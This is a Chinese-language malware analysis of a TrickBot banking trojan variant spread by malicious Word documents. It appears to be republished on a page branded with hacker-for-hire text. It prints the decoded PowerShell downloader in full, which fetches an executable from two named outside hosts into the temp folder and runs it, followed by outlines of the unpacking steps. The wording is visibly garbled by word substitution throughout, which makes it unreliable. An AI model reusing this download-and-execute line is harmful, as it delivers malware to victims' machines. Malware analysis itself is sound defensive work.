TrickBot银行木马归来突击全球金融机构

访客6年前关于黑客接单1190

一、布景
最近国外安全研究人员发现TrickBot银行木马最新的样本,深服气EDR安全团队对此事进行了相关跟进,获取到了相应的样本,并对样本进行了详细剖析,承认此样本为TrickBot银行盗号木马的最新变种样本,而且此样本十分活泼,最近一段时间更新十分频频。
TrickBot银行木马是一款专门针对各国银行进行进犯的歹意样本,它之前被黑客团伙用于进犯全球多个国家的金融机构,主要是经过垃圾邮件的 *** 进行进犯,此次发现的样本会对全球数百家大型银行网站进行进犯,部分银行列表如下:

二、样本运转流程

三、样本剖析
邮件附件DOC样本(重命名为Trickbot.doc),如下所示:

打开文档之后,如下所示:

剖析DOC文件档,发现里边包括VBA宏代码,如下所示:

经过VBA宏编辑器解析DOC文档中的宏代码,如下所示:

动态调试解密里边的宏代码,经过CMD /C履行如下PowerShell脚本:
powershell “function [随机名]([string] $[随机名]){(new-object system.net.webclient).downloadfile($[随机名],’%temp%[随机名].exe’);
start-process ‘%temp%[随机名].exe’;}
try{[随机名](‘http://whitakerfamily.info/ico.ico‘)}catch{[随机名](‘http://rayanat.com/ico.ico‘)}
经过powershell脚本下载相应的TrickBot歹意程序,并履行。
TrickBot母体程序(随机名重命名为TrickBot.exe),如下所示:

1.读取样本相应的资源数据到内存中,如下所示:

资源的ID:BBVCXZIIUHGSWQ,资源数据如下所示:

2.创立窗口,发送音讯,如下所示:

3.对获取到的资源数据进行加解密相关操作,如下所示:

从程序中导入密钥1,如下所示:

从程序中导入密钥2,如下所示:

最终经过CryptEncrypt对数据进行操作,如下所示:

履行之后,在内存中将资源数据复原为一个Payload的数据,如下所示:

4.然后在内存加载复原出来的payload数据,如下所示:

5.复原出来的payload其实是一个DLL,内存加载DLL,如下所示:

定位到DLL的进口点:10001900处,如下所示:

6.判别DLL的进口函数是否为shellcode_main,如下所示:

[1] [2] [3] [4]  黑客接单网

相关文章

8个增强 PHP 程序安全的函数

 安满是编程十分重要的一个方面。在任何一种编程言语中,都供给了许多的函数或许模块来保证程序的安全性。在现代网站运用中,常常要获取来自世界各地用户的输入,可是,咱们都知道“永久不能信任那些用户输入的数据...

操控流程完整性:给我们介绍一种“特殊”的Javascript反剖析技能

写在前面的话 了解歹意软件的实在代码对歹意软件剖析人员来说对错常有优势的,由于这样才干够实在了解歹意软件所要做的工作。但不幸的是,咱们并不总是能够得到“实在”的代码,有时歹意软件剖析人员或许需求相似...

HTML5:<a>的ping特点之逝世ping与隐私追寻

在HTML5中 标签参加了一个新的特点ping。规划者参加它的理由是, Ping能够使浏览器对外发送一个异步恳求,一般用来广告的追寻、点击率计算或完结一次HTTP重定向。 可是听到监督、追寻这个词,...

把PHP LFI缝隙变为Webshell的形式

存眷PHP缝隙的同伙必定知道LFI+phpinfo可以搞出一个webshell。 LFI这个条件还算异常,但phpinfo这个照样比较难凑的,所以有点鸡肋。接下来,我共享一个……异常鸡肋的思绪……人人...

根底事情呼应中的Volatility作业流程

最近,我发现自己需求对完好内存转储进行一些查询。通过一段时间的搜索,我发现了Volatility-Labs的这篇文章,依据其间的辅导办法,我能够很好的来评价内存转储。当然,你或许会有更好、更深度的内存...